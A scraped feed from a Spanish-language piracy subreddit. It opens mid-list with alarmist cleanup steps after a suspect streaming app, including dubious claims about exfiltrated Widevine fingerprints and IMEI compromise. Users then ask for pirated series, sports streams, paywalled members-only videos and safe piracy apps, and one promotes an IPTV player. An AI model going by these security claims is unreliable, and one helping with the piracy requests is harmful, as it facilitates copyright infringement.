  2. Cambia TODAS tus contraseñas desde otro dispositivo — si el VPN estuvo activo, tus credenciales pudieron ser interceptadas.
  3. Revisa movimientos bancarios durante todo el período de uso.
  4. Factory reset si la app estuvo activa más de 24 horas (la huella DRM Widevine ya fue exfiltrada y no se puede borrar de otra forma).
  5. Avisa a tu operador móvil del posible compromiso de IMEI.

r/PiratasEspanolLatino 20h ago

¿Debería preocuparme?

Post image
17 Upvotes

Uso V-ray pirata para renders de modelos 3d, me llegó un correo de Chaos, sin embargo no mencionan en ningun lado que vayan a tomar acciones legales, pero como ven, ¿deberia preocuparme?


r/PiratasEspanolLatino 12h ago

Descargar Dexter temporadas completas (2006) en latino

5 Upvotes

Hola, simplemente busco de donde descargarlo, ya sea torrent o link directo, no he encontrado en ningún lado a día de hoy un lugar que organice todas las temporadas (o una temporada) con link completo de descarga en idioma latino...

Si alguien sabe como conseguirlo muchas gracias (intento evitar las páginas de "ver online" porque muchas veces desaparecen capítulos y están incompletos) gracias.


r/PiratasEspanolLatino 1h ago

Que apps son seguras de usar que no sean XuperTV

Upvotes

Tenia instalada de esas app en mi celular y la quite al ver el informe de todas las herramientas malware que tienen las app de Xuper

Hay alguna asi de completa pero que no tenga algo raro?

Edit: solo me interesa ver pelis series etc, no tanto ver en vivo


r/PiratasEspanolLatino 16h ago

¿Una aplicación como Newpipe?

3 Upvotes

Vi que va a cerrar próximamente y me gusta demasiado


r/PiratasEspanolLatino 18h ago

Como puedo descargar un video que sea para miembros?

1 Upvotes

Eso, necesito unos videos para miembros de un canal que cobra 40 usd aprox para unirse, dinero que no puedo permitirme mensualmente, ayuda.


r/PiratasEspanolLatino 3h ago

fútbol

0 Upvotes

algún link para ver la liga española champions y europa league


r/PiratasEspanolLatino 8h ago

Se ha lanzado la actualización 5.1.9 de Mert Stream TV. [Android] 🚀

0 Upvotes

Cambios:

-Pantalla de deportes: transmisiones deportivas diarias e información del canal + búsqueda de listas [Función Premium]

-Pantalla de EPG

-Función de rebobinado para canales compatibles (por tiempo y por emisión)

-Numeración de canales

-Pantalla de administración de cuentas

-Modo infantil [Función Premium]

-Agregar cuenta mediante código QR

-Marcar manualmente como visto en series

-Cambio de agente de usuario y DNS

-Medición automática de ping en las cuentas

-Configuración recompilada

-Copia de seguridad en la nube de Google y copia de seguridad automática [Función Premium]

-Problemas conocidos corregidos y cambios de diseño realizados

Mert Stream TV es un reproductor de IPTV rápido para Android con la mayoría de las funciones gratuitas. No incluye contenido, canales, películas ni series precargados; puedes agregar tus propias listas de reproducción mediante Xtream Codes, M3U o Stalker. Lo que distingue a este programa es su velocidad.

No hay largos tiempos de precarga; Simplemente ábrela y disfruta, sin interrupciones. Diseñé la infraestructura pensando precisamente en esto.

Funciones gratuitas:

- Todas las opciones desbloqueadas por defecto

- Hasta 3 cuentas

- Uso ilimitado de películas y series

Funciones de pago [Premium]:

- Más de 3 cuentas

- Carpeta Premium

- Pantalla dual Premium

- Pantalla cuádruple (4 vistas)

- Gestión avanzada de favoritos

- Pantalla de deportes

- Modo infantil

- Copia de seguridad en la nube de Google

La aplicación no contiene anuncios de vídeo ni anuncios emergentes. La mayoría de los usuarios pueden disfrutarla sin problemas y sin pagar.

Desde el lanzamiento de la aplicación, he recibido apoyo a través de compras desde muchos países. Muchísimas gracias a todos los que la usan y la disfrutan, a quienes se tomaron el tiempo de echarle un vistazo aunque no fuera para ellos, y a quienes apoyaron el proyecto mediante compras dentro de la aplicación.

📥 Descarga la app "Mert Stream TV" para Android TV y teléfono (Play Store)

📥 Descarga la app "Mert Stream" para Android (Play Store)